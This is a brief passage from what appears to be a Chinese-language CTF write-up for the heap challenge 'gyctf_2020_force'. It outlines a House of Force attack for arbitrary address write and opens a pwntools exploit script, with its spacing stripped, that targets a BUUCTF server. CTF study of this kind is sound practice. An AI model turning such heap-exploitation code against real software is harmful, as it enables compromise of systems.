1.可控制创建chunk大小 2.能溢出修改topchunk大小 利用HOF实现任意地址写 exp frompwnimport*fromLibcSearcherimport*context(log_level='debug')#p = process('gyctf_2020_force')p=remote('node4.buuoj.cn',28871)elf=ELF('./gyctf_2020_force')libc=ELF('./libc-2.23.so')s=lambdadata:p.send(data...